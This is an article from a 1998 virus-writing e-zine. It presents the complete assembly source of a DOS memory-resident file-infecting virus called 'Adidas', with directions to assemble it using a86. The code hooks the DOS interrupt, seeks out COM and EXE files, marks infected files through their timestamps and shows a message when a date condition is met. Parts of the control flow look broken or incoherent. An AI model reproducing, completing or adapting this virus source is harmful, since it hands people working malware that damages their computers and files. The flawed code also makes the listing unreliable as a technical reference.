ฤฤฤฤฤฤฤ[PVW4.025]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #4
DATE : December 1998
                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  Virus name : Adidas Virus
  By : Lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--

;This is a memory virus. It uses a dotdot method for searching.
;assemble this with a86. This is a simple virus with simple
;anti-detection methods. It will also display a message.
;I call this virus as ADIDAS.   LORZ 
.model tiny
.code

        org 100h
      
my_int21h:
   	cmp 	ah,3dh                   
   	je 	next
   	cmp 	ax,6c00h                
   	je 	next
begin:
        mov     ah,4eh
        lea     dx,[bp+chamba]
        int     21h
        jmp     dotdot
dotdot:
        lea     dx,[bp+chamba]
        mov     ah,3bh
        int     21h
        jnc     begin
        jmp     getout
getout:
        int     21h 
next:   
     	pushf
	call 	dword ptr cs:[oldint21]
	jc	getout
	cmp 	ax,5 
	jb	getout
	push 	ax
	push	bx 
	push	di 
	push	es
	mov     ax,offset chamba
        mov     ah,3dh
        int     21h
        mov     bx,offset xes
        mov     ah,3dh
        int     21h
        mov     bx,ax
        mov     ah,40h
        int     21h
        mov     ah,3eh
        int     21h      
        inc     byte ptr [counter]
	cmp     byte ptr [counter],100
        jmp     show     
        je      clear
clear:
        jmp     getout
show:
        mov     ah,2ah
        int     21h
        cmp     dl,20
        je      message
        jmp     getout
message:
	lea	dx,sage
	int 	21h

sage   db 'This place inside my mind A place I like to hide All Day I Dream About M_____',20,
read_file:
	cmp	bx,5            
   	jae 	continue         
   	jmp 	read_exit
continue:
   	push 	ax 
	push	bx 
	push	cx 
	push	di 
	push	si 
	push	es    
   	push 	bx                   
   	mov 	ax,1220h              
   	int 	2fh                   
   	jnc 	noerr1
finish:
   	pop 	bx
   	jmp 	no_read               
noerr1:
   	mov 	bl,es:[di]            
   	cmp 	bl,0ffh               
   	je 	finish
   	mov 	ax,1216h              
   	int 	2fh                   
   	jc 	finish                 
   	pop 	bx                    
	cmp 	word ptr es:[di+28h],'OC'       
   	jne 	maybe_exe                       
   	cmp 	word ptr es:[di+28h+2],'M'
   	jne 	maybe_exe
   	jmp 	vdrulz                          
maybe_exe:
   	cmp 	word ptr es:[di+28h],'XE'       
   	je 	firstfound
   	jmp 	no_read                         
firstfound:
   	cmp 	word ptr es:[di+28h+2],'E'
   	je 	vdrulz
   	jmp 	no_read
vdrulz:
   	mov 	ax,word ptr es:[di+0dh]    
   	and 	al,1fh               
   	cmp 	al,2                 
   	je 	infected
   	jmp 	next             
infected:
   	cmp 	word ptr es:[di+17h],0     
      	je 	coolio                     
   	jmp 	no_read
coolio:
   	cmp 	word ptr es:[di+15h],1ch
        jb 	dakup                  
   	jmp 	no_read
dakup:
   	mov 	ax,word ptr es:[di+15h]
   	push 	ax                     
	mov 	ah,3fh                 
   	pushf                          
   	call 	dword ptr cs:[oldint21]
	pop 	cx          
        push 	ax          
        sub 	cx,1ch      
	neg 	cx          
        cmp 	ax,cx       
   	jae 	kewl        
   	xchg 	ax,cx     
kewl:
	push 	cx 
	push	dx 
	push	ds
	mov 	ax,word ptr es:[di+15h]
   	push 	ax  
   	mov 	ax,word ptr es:[di+17h]
   	push 	ax
	add 	word ptr es:[di+11h],(xes-begin)
   	add 	word ptr es:[di+13h],0     
   	mov 	ax,word ptr es:[di+11h]    
   	sub 	ax,1ch                     
   	mov 	word ptr es:[di+15h],ax    
   	mov 	ax,word ptr es:[di+13h]
   	mov 	word ptr es:[di+17h],ax
	push 	cs
   	pop 	ds                 
   	lea 	dx,header   
   	mov 	cx,1ch               
   	mov 	ah,3fh              
   	pushf                     
   	call 	dword ptr cs:[oldint21]   
	sub 	word ptr es:[di+11h],(xes-begin)
  	sbb 	word ptr es:[di+13h],0                         
	pop 	ax                   
   	mov 	word ptr es:[di+17h],ax
	pop 	ax
   	mov 	word ptr es:[di+15h],ax
	pop 	ds 
	pop	dx 
	pop	cx
   	push 	ds
   	pop 	es
	mov 	di,dx    
   	lea 	si,header
	push 	cs
   	pop 	ds 
   	rep 	movsb
	push 	es
   	pop 	ds  
	pop 	ax               
   	pop 	es 
	pop	si 
	pop	di 
	pop	cx 
	pop	bx 
	pop	es                                             
   	ret                   
no_read:
   	pop 	es 
	pop	si 
	pop	di 
	pop	cx 
	pop	bx 
	pop	ax     
read_exit:
   	int	20h           

header   	db 1ch dup (?)                    
oldint21   	dd ?
counter         db 100
chamba          db '*.*',0   
xes             db "AKP"
end my_int21h

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
